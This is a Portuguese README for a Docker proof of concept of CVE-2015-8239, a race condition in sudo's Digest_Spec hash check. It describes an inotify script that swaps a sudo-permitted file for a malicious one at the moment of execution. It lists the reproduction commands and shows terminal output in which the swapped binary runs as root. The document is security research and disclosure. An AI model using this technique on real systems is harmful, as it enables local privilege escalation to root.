
Prova de conceito baseada em Docker demonstrando um exploit de condição de corrida TOCTOU contra o recurso Digest_Spec do sudo (CVE-2015-8239) usando inotify para ataques de substituição de arquivos entre usuários.
Digest_Spec do sudoersAlyssa Milburn (https://twitter.com/noopwafel) descobriu um bug de condição de corrida TOCTOU no sudo quando a configuração Digest_Spec é usada. A configuração Digest_Spec pode ser usada para permitir que um usuário execute sudo em um binário se, e somente se, o hash dele corresponder a um valor pré-determinado. Consulte man sudoers e procure por Digest_Spec para mais informações sobre esse recurso, e veja http://noopwafel.net/notes/2015/sudo-digest-race-condition.html para mais informações sobre o bug descoberto por Alyssa. O problema foi identificado como CVE-2015-8239.
O problema foi mitigado adicionando documentação ao man sudoers alertando sobre o potencial de uma condição de corrida, e adicionando certa mágica com fexecve() ao sudo para tentar impedir que certos tipos de modificações de arquivo sejam efetivos.
Curiosamente, o cve-assign disse o seguinte em https://seclists.org/oss-sec/2015/q4/256:
As far as we know, the Digest_Spec feature can be useful if the user
invoking sudo doesn't have write access to the program file, but a
second (and potentially untrusted) user does have write access to the
program file. In the envisioned scenario, the second user is not
allowed to use sudo, the second user has no way to predict when anyone
else may use sudo, and the second user cannot use their write access
often. Thus, if the second user attempts a file-replacement attack,
the attack will almost certainly occur at an ineffective instant of
time, and the Digest_Spec feature will successfully prevent the
attacker's desired outcome.
Este POC mostra que essa afirmação não é necessariamente verdadeira, desde que o usuário "writer" possa executar código persistente no sistema. O usuário "writer" pode usar inotify para detectar quando o usuário "executor" está executando o arquivo com sudo e pode tentar um ataque de substituição de arquivo nesse momento.
Este projeto cria uma imagem Docker que:
/opt/sudoable que é gravável pelo usuário editor e que pode ser executado via sudo pelo usuário executor se, e somente se, o hash SHA256 dele corresponder a um valor específico/opt/hello (O arquivo "bom" cujo hash SHA256 está embutido no sudoers) e um arquivo em /opt/goodbye (Um arquivo "malicioso")/opt como gravável apenas pelo usuário root (E, portanto, o usuário editor pode substituir o conteúdo de /opt/sudoable, mas não pode fazer uma operação de troca de arquivo em nível de sistema de arquivos)inotify em /home/editor/exploit/exploit.pyQuando /home/editor/exploit/exploit.py é executado pelo usuário editor, o inotify é usado para monitorar eventos do sistema de arquivos. Quando o arquivo /opt/sudoable é acessado, ele é substituído por /opt/goodbye. Depois que o arquivo é fechado, ele é substituído por /opt/hello para deixar tudo em um estado "normal".
Supondo que essa corrida seja bem-sucedida quando o usuário executor executa sudo /opt/sudoable (o que acontece na maioria das vezes na minha máquina), o usuário editor pode fazer com que o usuário executor execute um binário malicioso como root, independentemente de o hash SHA256 ser especificado como o valor de Digest_Spec no sudoers.
Execute make all
./instantiate.shtmux new-session e divida o painel (Ctrl+b e depois "; use Ctrl+b e depois Up/Down para alternar entre os painéis)sudo -u executor sudo /opt/sudoable e observe a saída Hello uid=0sudo -u editor cp /opt/goodbye /opt/sudoablesudo -u executor sudo /opt/sudoable e observe que você receberá uma solicitação de senha (ou seja, a operação sudo falhou devido a uma incompatibilidade de digest)sudo -u editor /home/editor/exploit/exploit.pysudo -u executor sudo /opt/sudoable algumas vezes e observe a saída ocasional de Painel superior:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Hello uid=0
Painel inferior:
root@c600efec2da8:/# sudo -u editor cp /opt/goodbye /opt/sudoable
Painel superior:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
Painel inferior:
root@c600efec2da8:/# sudo -u editor /home/editor/exploit/exploit.py
Painel superior:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for executor:
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
Goodbye uid=0
root@c600efec2da8:/# sudo -u executor sudo /opt/sudoable
sudo: unable to execute /opt/sudoable: Text file busy
Em quais casos a mitigação fexecve() é realmente eficaz? Se um usuário tiver acesso de escrita ao arquivo sudoable, mas não ao diretório em que ele está, o usuário pode modificar o arquivo que é aberto pelo sudo. Se o usuário tiver acesso de escrita ao diretório, mas não ao arquivo, ele pode mover o arquivo para fora do caminho e recriá-lo de forma que possa modificá-lo, e estamos de volta à estaca zero.
Obrigado ao Luke (https://twitter.com/lukejahnke) por me contar sobre a configuração Digest_Spec, por trocar algumas ideias e por pensar em usar inotify para um POC limpo entre usuários.
Goodbye uid=0